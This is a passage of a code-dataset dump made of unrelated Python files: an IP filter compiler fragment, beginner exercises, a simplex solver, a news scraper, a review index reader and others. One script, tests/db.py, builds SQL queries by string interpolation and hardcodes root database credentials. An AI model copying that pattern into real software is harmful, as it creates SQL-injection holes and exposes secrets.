len(warnings)))\n if len(errors):\n print_ast(ast)\n raise SystemExit('Filter script contains errors')\n\n\n # TODO:\n # - maybe return (errors, warnings, ip4f)\n rules = ast_rules(ast)\n ip4f = Ip4Filter()\n for rid, (name, srcs, dsts, ports, action, obj) in enumerate(rules):\n ip4f._add(rid, srcs, dsts, ports, name, action, obj)\n return ip4f\n\n\n","sub_path":"jabs/ilf/comp.py","file_name":"comp.py","file_ext":"py","file_size_in_byte":12949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"225046428","text":"from bs4 import BeautifulSoup\nwith open(\"test.html\") as fp:\n soup = BeautifulSoup(fp, 'html.parser')\n allDiv = soup.select_one(\"#ex_id\")\n print(allDiv)\narray = [[0,1,2,3,4,5,6,7],[3,4,5]]\nprint(7 in array[0])\nprint(array[0][:3])\nprint(array[0][-1])\nprint(array[1][-2])\n\n\nnumbers = [1,3,4,20,25,26,68]\n\n\n\nnumber = input('정수입력')\nnumber1 = int(number)\nif number1 == 0 \\\n or number1 == 2 \\\n or number1 == 4:\n print(\"짝수\")\n\nif number1 == 1 \\\n or number1 == 3 \\\n or number1 == 5:\n print(\"홀수\")\nabc = input('숫자입력')\nbcd = int(abc)\nif bcd == 1:\n print('숫자1입니다.')\nelif bcd == 2:\n pass\nelse:\n print('나머지 숫자입니다.')\nefg = input('범위')\nhij = int(efg)\nif 10<\")\n else:\n if cross.eRoad.fromCrossId== cross.id:\n turtle.write(\">\")\n else:turtle.write(\"<\")\n turtle.penup()\n turtle.left(90)\n turtle.fd(7)\n turtle.right(90)\n turtle.pendown()\n turtle.fd(30)\n turtle.left(90)\n if cross.eRoad.fromCrossId==cross.id:\n turtle.dot()\n draw(cross.eRoad.toCross)\n else:\n turtle.dot()\n draw(cross.eRoad.fromCross)\n turtle.penup()\n turtle.left(90)\n turtle.fd(50)\n turtle.right(90)\n turtle.pendown()\n if cross.nRoadId != -1:\n if cross.nRoad.isDuplex:\n turtle.pencolor(\"green\")\n else: turtle.pencolor(\"red\")\n turtle.fd(25)\n turtle.write(str(cross.nRoad))\n turtle.fd(25)\n if cross.nRoad.fromCrossId==cross.id:\n turtle.dot()\n draw(cross.nRoad.toCross)\n else:\n turtle.dot()\n draw(cross.nRoad.fromCross)\n turtle.penup()\n turtle.backward(50)\n turtle.pendown()\n cross.flag=1\nturtle.penup()\nturtle.goto(-200,-200)\nturtle.pendown()\nturtle.left(90)\nturtle.speed(0)\n\ndraw(crossPool[0])\nimport time\ntime.sleep(1000)\n\n\n\n\n","sub_path":"SDK_python/CodeCraft-2019/src/testLoadMap.py","file_name":"testLoadMap.py","file_ext":"py","file_size_in_byte":2745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"428820832","text":"import pymysql\nfrom pymysql.cursors import DictCursor\nfrom contextlib import closing\n# авторизация\nwith closing(pymysql.connect(host=\"10.59.111.63\",\n user=\"root\",\n password=\"123\",\n db=\"mydb\",\n cursorclass=DictCursor)) as conn:\n # потенциальные данные юзера с вк\n uid = 44810\n uname = \"чорный властелинище\"\n # получаем запись из бд по айдишнику\n with conn.cursor() as cursor:\n query = f\"SELECT * FROM prefix WHERE id = '{uid}'\"\n cursor.execute(query)\n # если нет, записать\n if cursor.fetchone() == None:\n print(\"запись\")\n with conn.cursor() as cursor:\n query = f\"INSERT INTO prefix (id, name) VALUES ({uid}, '{uname}')\"\n cursor.execute(query)\n conn.commit()\n with conn.cursor() as cursor:\n query = f\"UPDATE prefix SET name = 'не аирец' WHERE id = '{uid}'\"\n cursor.execute(query)\n conn.commit()\n # в любом случае получить запись из бд, даже ежели ее не было и мы\n # только записали\n with conn.cursor() as cursor:\n query = f\"SELECT * FROM prefix WHERE id = '{uid}'\"\n cursor.execute(query)\n print(cursor.fetchone())\n","sub_path":"tests/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"57941214","text":"from Tree.Identifier import PN_int_to_string, A_int_to_string, tuple_int_to_string\n\n\nclass loggerNonStatic:\n def __init__(self, ID):\n self.path = \"log\" + str(ID) + \".txt\"\n\n def log(self, text, sep = \"\\n\"):\n with open(self.path, \"a\") as text_file:\n text_file.write(text + sep)\n\n def new_round(self):\n self.log(\"\\n\\n\\n############################# NEW HAND ####################### \\n\\n\")\n\n def end_log(self, players, winner, community, pot):\n\n hands = []\n com = []\n winners = []\n for w in winner:\n winners.append(str(w))\n\n for player in players:\n hands.append((player.name, str(player.hand[0]) + str(player.hand[1])))\n for c in community:\n com.append(str(c))\n self.log(\"Player hands: \" + str(hands))\n self.log(\"Community: \" + str(com))\n self.log(\"Winner: \" + str(winners))\n self.log(\"Pot: \" + str(pot))\n\n def nodes_log(self, nodes, txt = \"Before\"):\n self.log(\"\")\n self.log(txt)\n for node in nodes:\n ac = node[0].identifier.find_current_street()[-1]\n\n if ac == \"F:\":\n ac = node[0].identifier.preflop[-1]\n elif ac == \"T:\":\n ac = node[0].identifier.flop[-1]\n elif ac == \"R:\":\n ac = node[0].identifier.turn[-1]\n elif ac == \"end\":\n ac = node[0].identifier.river[-1]\n\n\n\n self.log(\"Node: \" + str(tuple_int_to_string(ac)) + \" \" + str(node[0].data))\n self.log(\"\")\n\n def children_log(self, nodes):\n for node, dis in nodes:\n t = tuple_int_to_string(node.identifier.find_current_street()[-1])\n\n self.log(str(t) + \": \" + str(round(dis, 3)) + \" \" + \" mb: \" + str(node.maximumBet) + \", \", sep=\" \")\n self.log(\"\")\n\n","sub_path":"Misc/Logger.py","file_name":"Logger.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"279520292","text":"\"\"\"\nAuthor : Dhaval Kumar\nCreated on : 20-08-2021\nTime : 06:13:36 pm \n\"\"\"\n\n# Imports\nimport os.path\nimport sys\nimport numpy as np\nfrom icecream import ic\n\n# Global Varible\nM = float(999999)\n\n# File Handeling\nif os.path.exists('input.txt'):\n sys.stdin = open('input.txt', 'r')\n sys.stdout = open('output.txt', 'w')\n\n# Function\ndef is_minq(s : list[str]) -> bool:\n \"\"\"\n Given an objective function in string is of min or not.\n \"\"\"\n if s[0].lower() == 'min':\n return True\n else:\n return False\n\ndef obj_fn_parser(s : list[str]) -> tuple[int, dict]:\n \"\"\"\n Given an objective function in string \n returns number of varibles in it and dict of all varibles as key and its coeff as value .\n \"\"\"\n xs = s[3:]\n\n # dbg\n # ic(xs)\n\n var_coeff = {}\n for vwc in xs:\n idx_x = vwc.find('x') \n var_coeff[vwc[idx_x:]] = float(vwc[:idx_x])\n \n # ic(var_coeff)\n\n return (len(var_coeff), var_coeff)\n\ndef parse_equation(eq : list[str], num_of_x : int) -> tuple[list[float], str, float]:\n \"\"\"\n Parses the string list and returns a list of all varible with coefficient (row) , sign(string) and b.\n \"\"\"\n \n lst = [float(0) for i in range(num_of_x)]\n b = 0\n \n for x in eq:\n # ic(x)\n\n if x.find('=') != -1:\n break\n\n idx_x = x.find('x')\n\n if x[:idx_x] == '+':\n lst[int(x[idx_x+1:])-1] = float(1)\n elif x[:idx_x] == '-':\n lst[int(x[idx_x+1:])-1] = float(-1)\n else :\n lst[int(x[idx_x+1:])-1] = float(x[:idx_x])\n \n b = float(eq[-1])\n \n if(b < 0):\n b *= -1\n for i in range(len(lst)):\n lst[i] *= -1\n\n sign = eq[-2]\n # ic(lst)\n # ic(sign)\n # ic(b)\n return (lst, sign, b)\n\ndef add_slack_overflow_artficial_var(mat : list[list[float]], signs : list[str], costs : list[float]) -> tuple[np.ndarray, np.ndarray, np.ndarray, np.ndarray] :\n \"\"\"\n Convert everything to numpy.\n\n Returns : 3 numpy matix i.e numpy array of size=(n, m)\n\n Finally XD\n \"\"\"\n # Don't do this but I had no other choice\n global M\n\n np_mat = np.array(mat)\n np_cost = np.array(costs)\n \n # VVIMP\n np_cost_idx = np.zeros(len(mat), dtype=np.int64)\n\n np_ibfs = np.zeros(len(mat))\n\n # ic(np_mat)\n # ic(np_cost)\n \n extended_len = 0\n\n no_of_s = 0\n no_of_a = 0\n\n # First sn, second an\n add_var = [ [False, False] for i in range(len(signs)) ]\n for i in range(len(signs)):\n if signs[i] == '=':\n # 1 an \n extended_len += 1\n no_of_a += 1\n \n # For 1 an\n add_var[i][1] = True\n\n elif signs[i] == '<=':\n # 1 sn\n extended_len += 1\n no_of_s += 1\n\n # For 1 sn\n add_var[i][0] = True\n\n elif signs[i] == '>=':\n # 1 sn, 1 an\n extended_len += 2\n no_of_s += 1\n no_of_a += 1\n\n # For 1 an, 1 sn\n add_var[i][0] = True\n add_var[i][1] = True\n \n extended_mat = np.zeros((len(mat), extended_len))\n extended_cost = np.zeros(extended_len)\n\n for i in range(extended_len):\n extended_cost[i] = M\n for i in range(no_of_s):\n extended_cost[i] = 0\n\n np_f_cost = np.hstack((np_cost, extended_cost))\n\n idx_s = 0\n idx_a = no_of_s\n\n k = 0\n for i in range(len(mat)):\n if add_var[i][0] and add_var[i][1]:\n extended_mat[i][idx_s] = -1\n extended_mat[i][idx_a] = 1\n \n np_ibfs[k] = np_f_cost[len(mat[i])+idx_a]\n np_cost_idx[k] = len(mat[i])+idx_a\n k += 1\n \n idx_a += 1\n idx_s += 1\n elif (not add_var[i][0]) and add_var[i][1]:\n extended_mat[i][idx_a] = 1\n\n np_ibfs[k] = np_f_cost[len(mat[i])+idx_a]\n np_cost_idx[k] = len(mat[i])+idx_a\n k += 1\n\n idx_a += 1\n elif add_var[i][0] and (not add_var[i][1]):\n extended_mat[i][idx_s] = 1\n\n np_ibfs[k] = np_f_cost[len(mat[i])+idx_s]\n np_cost_idx[k] = len(mat[i])+idx_s\n k += 1\n \n idx_s += 1\n\n np_f_mat = np.hstack((np_mat, extended_mat))\n \n \n # ic(extended_mat)\n # ic(extended_cost)\n # ic(add_var)\n # ic(no_of_a)\n # ic(no_of_s)\n # ic(extended_len)\n\n # ic(np_f_cost)\n # ic(np_f_mat)\n # ic(np_ibfs)\n\n # ic(np_cost_idx)\n return (np_f_mat, np_f_cost, np_ibfs, np_cost_idx)\n\ndef calc_Cjbars(mat : np.ndarray, costs : np.ndarray, basic_var : np.ndarray) -> np.ndarray:\n \"\"\"\n Calculates the Cj bar for every column\n \"\"\"\n # ic(mat)\n # # ic(len(mat[0]))\n # ic(costs)\n # # ic(len(costs))\n # ic(basic_var)\n\n Cj = np.zeros(len(costs))\n \n for i in range(len(mat[0])):\n for j in range(len(mat)):\n Cj[i] += basic_var[j]*mat[j][i]\n\n Cj_bar = np.zeros(len(costs))\n for i in range(len(Cj_bar)):\n Cj_bar[i] = costs[i] - Cj[i]\n\n # ic(Cj_bar)\n\n return Cj_bar\n\ndef selected_column(Cj_bars : np.ndarray) -> int:\n \"\"\"\n Returns -1 if solution is reached or infeasible || returns index of selected column \n \"\"\"\n col = -1\n cur = 1\n for i in range(len(Cj_bars)):\n if(Cj_bars[i] < 0 and Cj_bars[i] < cur):\n cur = Cj_bars[i]\n col = i\n return col\n\ndef selected_row(mat : np.ndarray, bs : np.ndarray, col : int) -> int:\n inf = float(999999)\n ratio = np.zeros(len(bs))\n for i in range(len(mat)):\n if mat[i][col] <= 0:\n ratio[i] = inf\n else:\n ratio[i] = bs[i]/mat[i][col]\n \n # ic(ratio)\n\n row = -1\n cur = inf-1\n for i in range(len(ratio)):\n if (ratio[i] < cur):\n cur = ratio[i]\n row = i\n \n # ic(row)\n\n return row\n\ndef change_of_bv(row : int, col : int, basic_var : np.ndarray, costs : np.ndarray, cost_idx) -> tuple[np.ndarray, np.ndarray]:\n \"\"\"\n Returns basic varibles, cost idx\n \n IMP : cost idx array is very important for calculating the solution\n \"\"\"\n \n basic_var[row] = costs[col]\n cost_idx[row] = col\n # ic(basic_var)\n # ic(cost_idx)\n return (basic_var, cost_idx) \n\n\n# NOTE : include bs in this funtion really imp\ndef gauss_jorden(row : int, col : int, mat : np.ndarray, bs : np.ndarray) -> tuple[np.ndarray, np.ndarray]:\n \"\"\"\n Does all the row wise operation that are required and returns new mat and bs\n \"\"\"\n # ic(mat)\n # ic(bs)\n bs[row] = bs[row]/mat[row][col]\n mat[row] = mat[row]/mat[row][col] \n \n for i in range(len(mat)):\n if row == i:\n continue\n else:\n bs[i] = bs[row]*(-mat[i][col])+ bs[i]\n mat[i] = mat[row]*(-mat[i][col]) + mat[i]\n\n # ic(mat)\n # ic(bs)\n\n return (mat, bs)\n\ndef calc_soln(costs_idx : np.ndarray, costs : np.ndarray, bs : np.ndarray) -> float:\n \"\"\"\n Returns the final Z \n Finally XD\n \"\"\"\n Z = float(0)\n for i in range(len(costs_idx)):\n Z += costs[costs_idx[i]]*bs[i]\n \n return Z\n\n# Main \nif __name__ == \"__main__\":\n # Initializing variables\n minq = False\n\n # Input\n no_of_eq = int(input())\n Z = input().split()\n \n # Useful\n minq = is_minq(Z)\n obj_num_of_x, obj_coeff_of_x = obj_fn_parser(Z)\n costs = [i for i in obj_coeff_of_x.values()] \n \n # For max problem \n if (not minq):\n costs = [-i for i in obj_coeff_of_x.values()] \n\n\n # ic(obj_coeff_of_x)\n # ic(obj_num_of_x)\n\n eq = [] # for input\n \n # Useful\n signs = ['' for i in range(no_of_eq)]\n mat = [[] for i in range(no_of_eq)]\n bs = [float(0) for i in range(no_of_eq)]\n \n for i in range(no_of_eq):\n eq = input().split()\n mat[i], signs[i], bs[i] = parse_equation(eq, obj_num_of_x)\n\n # ic(mat)\n # ic(signs)\n # ic(bs)\n # ic(costs)\n\n # NumPy everything from here\n\n np_bs = np.array(bs)\n np_mat , np_costs, np_basic_var, np_costs_idx = add_slack_overflow_artficial_var(mat, signs, costs)\n\n # NOTE : change np_cost here for maximization problem DOESNT WORK\n # if (not minq):\n # print(\"HERE\")\n # print(np_costs)\n # np_costs = -1*np_costs\n # print(np_costs)\n \n Cjbars = calc_Cjbars(np_mat, np_costs, np_basic_var)\n \n col = selected_column(Cjbars)\n row = selected_row(np_mat, np_bs, col)\n \n while(col != -1 and row != -1):\n np_basic_var, np_costs_idx = change_of_bv(row, col, np_basic_var, np_costs, np_costs_idx)\n \n np_mat, np_bs = gauss_jorden(row, col, np_mat, np_bs) \n\n # Cycle starts\n Cjbars = calc_Cjbars(np_mat, np_costs, np_basic_var)\n \n col = selected_column(Cjbars)\n row = selected_row(np_mat, np_bs, col)\n\n if (not minq):\n # print(\"HERE\")\n # print(np_costs)\n np_costs = -1*np_costs\n # print(np_costs)\n\n print(f\"Z = {calc_soln(np_costs_idx, np_costs, np_bs)}\")","sub_path":"assignment 01/simplex_BigM.py","file_name":"simplex_BigM.py","file_ext":"py","file_size_in_byte":9003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"180079730","text":"coordinates = []\nx = [int(i) for i in input(\"X:\").split(\",\")]\ny = [int(i) for i in input(\"Y:\").split(\",\")]\nfor i in range(1,len(x)):\n coordinates += [[x[i],y[i]]]\ncoordinatesData = str(coordinates)\n\n\nprocessedData = \"\";\n#cost[1][2] = 3;\ndata = input()\nwhile data != \"\":\n command = data.split(\"]\")\n index1 = str(int(command[0][5:])-1)\n index2 = str(int(command[1][1:])-1)\n\n output1=command[0][:5]+index1+\"]\"+command[1][0]+index2+\"]\"+command[2]\n output2=command[0][:5]+index2+\"]\"+command[1][0]+index1+\"]\"+command[2]\n\n processedData+=output1+\"\\n\"\n processedData+=output2+\"\\n\"\n\n data = input()\n\nprint(\"\\n\\n\\n\")\nprint(coordinatesData.replace(\"[\",\"{\").replace(\"]\",\"}\"))\nprint(processedData)\n","sub_path":"2019/Code_National/CoSpace/test_5_4_2019/Scripts/reverseMatrix.py","file_name":"reverseMatrix.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"524263507","text":"# -*- coding: utf-8 -*-\n########################################################################################################################\n#\n# Copyright (c) 2020, Nifty Chips Laboratory, Hanyang University\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the\n# following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following\n# disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the\n# following disclaimer in the documentation and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n########################################################################################################################\n\n\"\"\"Grid library for the advanced example technology (advtech).\"\"\"\n\nimport laygo2.object.database\nimport laygo2.object.grid\n#Should be `import laygo2_tech as tech` for actual use.\n#import laygo2.examples.laygo2_tech as tech\nimport laygo2_tech_quick_start as tech\n#import laygo2_tech as tech\n\n\ntech_params = tech.tech_params\n\n# Grid library\ndef load_grids(templates):\n \"\"\"\n Load grids to a grid library object.\n\n Parameters\n ----------\n templates: laygo2.object.database.TemplateLibrary\n The template library object that contains via templates.\n \"\"\"\n glib = laygo2.object.database.GridLibrary(name='advtech_grids')\n for gname, grid in tech_params['grids'].items():\n gv = laygo2.object.grid.OneDimGrid(name=gname + '_v', scope=grid['vertical']['scope'],\n elements=grid['vertical']['elements'])\n gh = laygo2.object.grid.OneDimGrid(name=gname + '_h', scope=grid['horizontal']['scope'],\n elements=grid['horizontal']['elements'])\n if grid['type'] == 'placement': # placement grid\n g = laygo2.object.grid.PlacementGrid(name=gname, vgrid=gv, hgrid=gh)\n glib.append(g)\n elif grid['type'] == 'routing': # routing grid\n vwidth = laygo2.object.grid.CircularMapping(elements=grid['vertical']['width'])\n hwidth = laygo2.object.grid.CircularMapping(elements=grid['horizontal']['width'])\n vextension = laygo2.object.grid.CircularMapping(elements=grid['vertical']['extension'])\n hextension = laygo2.object.grid.CircularMapping(elements=grid['horizontal']['extension'])\n vlayer = laygo2.object.grid.CircularMapping(elements=grid['vertical']['layer'], dtype=object)\n hlayer = laygo2.object.grid.CircularMapping(elements=grid['horizontal']['layer'], dtype=object)\n pin_vlayer = laygo2.object.grid.CircularMapping(elements=grid['vertical']['pin_layer'], dtype=object)\n pin_hlayer = laygo2.object.grid.CircularMapping(elements=grid['horizontal']['pin_layer'], dtype=object)\n primary_grid = grid['primary_grid']\n # Create the via map defined by the yaml file.\n vmap_original = grid['via']['map'] # viamap defined in the yaml file.\n vmap_mapped = list() # map template objects to the via map.\n for vmap_org_row in vmap_original:\n vmap_mapped_row = []\n for vmap_org_elem in vmap_org_row:\n vmap_mapped_row.append(templates[vmap_org_elem])\n vmap_mapped.append(vmap_mapped_row)\n viamap = laygo2.object.grid.CircularMappingArray(elements=vmap_mapped, dtype=object)\n\n g = laygo2.object.grid.RoutingGrid(name=gname, vgrid=gv, hgrid=gh,\n vwidth=vwidth, hwidth=hwidth,\n vextension=vextension, hextension=hextension,\n vlayer=vlayer, hlayer=hlayer,\n pin_vlayer=pin_vlayer, pin_hlayer=pin_hlayer,\n viamap=viamap, primary_grid=primary_grid)\n glib.append(g)\n return glib\n\n","sub_path":"laygo2_tech_quick_start/laygo2_tech_grids.py","file_name":"laygo2_tech_grids.py","file_ext":"py","file_size_in_byte":4904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"394620356","text":"import logging\nfrom datetime import datetime\nfrom typing import List\nfrom newspaper import news_pool\nfrom .news_paper import NewsPaper\nfrom .models.article_error_log import ArticleErrorLog\nfrom .utils.datetime_provider import DateTimeProvider\n\n\nclass NewsFeed:\n THREADS_PER_NEWS_SOURCE = 10\n SUMMARY_FILE = 'summary.txt'\n ERROR_LOG_FILE = 'error_logs.txt'\n DEFAULT_OUTPUT_DIR = '.'\n\n def __init__(self, \n datetime_provider: DateTimeProvider, \n error_logs: List[ArticleErrorLog], \n papers: List[NewsPaper] = None, \n output_root_dir = None\n ):\n self.newspapers = papers if papers is not None else []\n self.output_root_dir = output_root_dir if output_root_dir is not None else self.DEFAULT_OUTPUT_DIR\n self.error_logs = error_logs\n self.datetime_provider = datetime_provider\n\n def add_newspaper(self, paper):\n self.newspapers.append(paper)\n\n def newspaper_count(self) -> int:\n return len(self.newspapers)\n\n def build(self):\n self.download_all_articles()\n self.populate_attributes_to_newspapers()\n self.process_all_newspaper_articles()\n self.summarize_articles()\n self.generate_error_logs(self.output_root_dir)\n\n def download_all_articles(self):\n logging.info(\"Downloading all articles...\")\n\n papers = self.create_source_feed_list()\n\n news_pool.set(papers, threads_per_source=self.THREADS_PER_NEWS_SOURCE)\n\n # Download feed from all sources in parallel threads\n news_pool.join()\n\n logging.info(\"Download complete.\")\n logging.info(datetime.now())\n\n def create_source_feed_list(self):\n papers = []\n for news_paper in self.newspapers:\n papers.append(news_paper.paper)\n\n return papers\n\n def populate_attributes_to_newspapers(self):\n for news_paper in self.newspapers:\n news_paper.brand = news_paper.paper.brand\n news_paper.articles = news_paper.paper.articles\n news_paper.article_count = len(news_paper.articles)\n\n def process_all_newspaper_articles(self):\n logging.info(\"Processing all articles..\")\n for newspaper in self.newspapers:\n newspaper.process_articles()\n logging.info(\"Processed all articles.\")\n\n def summarize_articles(self):\n dir_suffix = self.datetime_provider.get_current_date_formatted_string()\n summary_file_path = self.output_root_dir + '/' + dir_suffix + '/' + self.SUMMARY_FILE\n error_count = len(self.error_logs)\n\n file = open(summary_file_path, 'w')\n for news_paper in self.newspapers:\n file.write(\"{0} - {1}\\n\".format(news_paper.brand, news_paper.article_count))\n file.write(\"Parsing Errors - {0}\\n\".format(error_count))\n file.close()\n\n logging.info('Stored download summary to %s', self.SUMMARY_FILE)\n\n def generate_error_logs(self, output_root_dir):\n dir_suffix = self.datetime_provider.get_current_date_formatted_string()\n error_log_file_path = output_root_dir + '/' + dir_suffix + '/' + self.ERROR_LOG_FILE\n\n with open(error_log_file_path, 'w') as file:\n for error_log in self.error_logs:\n file.write(\"{0}|{1}|{2}\\n\".format(error_log.url, error_log.source, error_log.error_message))\n\n logging.info('Created error log file.')\n logging.info(\"Errored out articles count: %d\", len(self.error_logs))\n","sub_path":"src/scraper/news_feed.py","file_name":"news_feed.py","file_ext":"py","file_size_in_byte":3494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"337692829","text":"import json\nimport traceback\nimport csv\nimport os\n\n\nclass IndexReader:\n\n def __init__(self, dir):\n \"\"\"Creates an IndexReader which will read from the given directory\"\"\"\n\n self.metadata_path = dir+\"reviews_metadata.csv\"\n self.word_to_docs_path = dir + \"words_to_file.bin\"\n self.vocabulary_path = dir+\"vocabulary.dat\"\n\n self.review_id_index = 0\n self.prod_index = 1\n self.helpfulness_index = 2\n self.score_index = 3\n self.num_of_tokens = 4\n\n\n try:\n with open(self.vocabulary_path, \"r\") as voc:\n jsondata = voc.read()\n data = json.loads(jsondata)\n self.vocabulary = data[\"words\"]\n self.word_indexes = data[\"indexes\"]\n except Exception:\n print(\"Cant load vocabulary from: \" + self.vocabulary_path)\n traceback.print_exc()\n exit(1)\n\n def getProductId(self, reviewId):\n \"\"\"Returns the product identifier for the given review\n Returns null if there is no review with the given identifier\"\"\"\n res = self.get_metadata_item_by_review_id(reviewId, self.prod_index)\n if res is None:\n return -1\n return res\n\n def getReviewScore(self, reviewId):\n \"\"\"Returns the score for a given review\n Returns -1 if there is no review with the given identifier\"\"\"\n res = self.get_metadata_item_by_review_id(reviewId, self.score_index)\n if res is None:\n return -1\n return res\n\n def getReviewHelpfulnessNumerator(self, reviewId):\n \"\"\"Returns the numerator for the helpfulness of a given review\n Returns -1 if there is no review with the given identifier\"\"\"\n res = self.get_metadata_item_by_review_id(reviewId, self.helpfulness_index)\n if res is None:\n return -1\n return res.split('/')[0]\n\n def getReviewHelpfulnessDenominator(self, reviewId):\n \"\"\"Returns the denominator for the helpfulness of a given review\n Returns -1 if there is no review with the given identifier\"\"\"\n res = self.get_metadata_item_by_review_id(reviewId, self.helpfulness_index)\n if res is None:\n return -1\n return res.split('/')[1]\n\n def getReviewLength(self, reviewId):\n \"\"\"Returns the number of tokens in a given review\n Returns -1 if there is no review with the given identifier\"\"\"\n res = self.get_metadata_item_by_review_id(reviewId, self.num_of_tokens)\n if res is None:\n return -1\n return res\n\n def getTokenFrequency(self, token):\n \"\"\"Return the number of reviews containing a given token (i.e., word)\n Returns 0 if there are no reviews containing this token\"\"\"\n\n wordid = self.find_word_in_dictionary(token)\n # word is not in the dictionary\n if wordid == -1:\n print(\"Token is not in the dictionary\")\n return 0\n\n found, num = 0, 0\n docs = set()\n with open(self.word_to_docs_path, 'rb') as bin:\n while bin.tell() != os.fstat(bin.fileno()).st_size:\n # get wordid:\n wordid_in_file = int.from_bytes(bin.read(4), 'big')\n # get docid:\n docid = int.from_bytes(bin.read(4), 'big')\n\n if wordid == wordid_in_file:\n docs.add(docid)\n found = 1\n if wordid != wordid_in_file and found == 1:\n break\n return len(docs)\n\n def getTokenCollectionFrequency(self, token):\n \"\"\"Return the number of times that a given token (i.e., word) appears in\n the reviews indexed\n Returns 0 if there are no reviews containing this token\"\"\"\n\n wordid = self.find_word_in_dictionary(token)\n # word is not in the dictionary\n if wordid == -1:\n print(\"Token is not in the dictionary\")\n return 0\n\n found, num = 0, 0\n with open(self.word_to_docs_path, 'rb') as bin:\n while bin.tell() != os.fstat(bin.fileno()).st_size:\n # get wordid:\n wordid_in_file = int.from_bytes(bin.read(4), 'big')\n # get docid:\n int.from_bytes(bin.read(4), 'big')\n\n if wordid == wordid_in_file:\n num += 1\n found = 1\n if wordid != wordid_in_file and found == 1:\n break\n return num\n\n def getReviewsWithToken(self, token):\n \"\"\"Returns a series of integers of the form id-1, freq-1, id-2, freq-2, ... such\n that id-n is the n-th review containing the given token and freq-n is the\n number of times that the token appears in review id-n\n Note that the integers should be sorted by id\n Returns an empty Tuple if there are no reviews containing this token\"\"\"\n\n wordid = self.find_word_in_dictionary(token)\n # word is not in the dictionary\n if wordid == -1:\n print(\"Token is not in the dictionary\")\n return 0\n\n with open(self.word_to_docs_path, 'rb') as bin:\n tup = dict()\n while bin.tell() != os.fstat(bin.fileno()).st_size:\n # get wordid:\n wordid_in_file = int.from_bytes(bin.read(4), 'big')\n # get docid:\n docid = int.from_bytes(bin.read(4), 'big')\n\n if wordid_in_file == wordid:\n if docid in tup:\n tup[docid] += 1\n else:\n tup[docid] = 1\n\n tup = sorted(list(tup.items()))\n res = [e for tupl in tup for e in tupl]\n return tuple(res)\n\n def getNumberOfReviews(self):\n \"\"\"Return the number of product reviews available in the system\"\"\"\n try:\n count = 0\n with open(self.metadata_path, \"r\", newline='') as metadata:\n mdata = csv.reader(metadata, delimiter=' ', quotechar='|')\n for review_data in mdata:\n count += 1\n return count\n except Exception:\n print(\"Cant load metadata file\")\n traceback.print_exc()\n\n def getTokenSizeOfReviews(self):\n \"\"\"Return the number of tokens in the system\n (Tokens should be counted as many times as they appear)\"\"\"\n return os.stat(self.word_to_docs_path).st_size/8\n\n def getProductReviews(self, productId):\n \"\"\"Return the ids of the reviews for a given product identifier\n Note that the integers returned should be sorted by id\n Returns an empty Tuple if there are no reviews for this product\"\"\"\n\n res = self.get_metadata_item_by_product_id(productId, self.review_id_index)\n if res is None:\n return ()\n return tuple(sorted(res))\n\n def get_metadata_item_by_review_id(self, reviewId, index):\n try:\n with open(self.metadata_path, \"r\", newline='') as metadata:\n mdata = csv.reader(metadata, delimiter=' ', quotechar='|')\n for review_data in mdata:\n if review_data[0] == str(reviewId):\n return review_data[index]\n except Exception:\n print(\"Cant load metadata file\")\n traceback.print_exc()\n\n def get_metadata_item_by_product_id(self, prodId, index):\n try:\n with open(self.metadata_path, \"r\", newline='') as metadata:\n mdata = csv.reader(metadata, delimiter=' ', quotechar='|')\n res = ()\n for review_data in mdata:\n if review_data[self.prod_index] == prodId:\n res = res + (review_data[index],)\n return res\n except Exception:\n print(\"Cant load metadata file\")\n traceback.print_exc()\n\n def find_word_in_dictionary(self, word):\n for i in range(len(self.word_indexes)-2):\n currIndex = self.word_indexes[i]\n nextIndex = self.word_indexes[i+1]\n if word == self.vocabulary[currIndex:nextIndex]:\n return currIndex\n return -1\n\n","sub_path":"IndexReader.py","file_name":"IndexReader.py","file_ext":"py","file_size_in_byte":8180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"394016400","text":"import snowflake.connector\nfrom snowflake.connector import DictCursor\nimport pandas as pd\n\nclass Snowflake_Connector:\n def __init__(self, connection_parameters):\n self.connection_parameters = connection_parameters\n\n def open_connection(self):\n try:\n connection = snowflake.connector.connect(**self.connection_parameters)\n return connection\n except Exception as Error_returned:\n raise 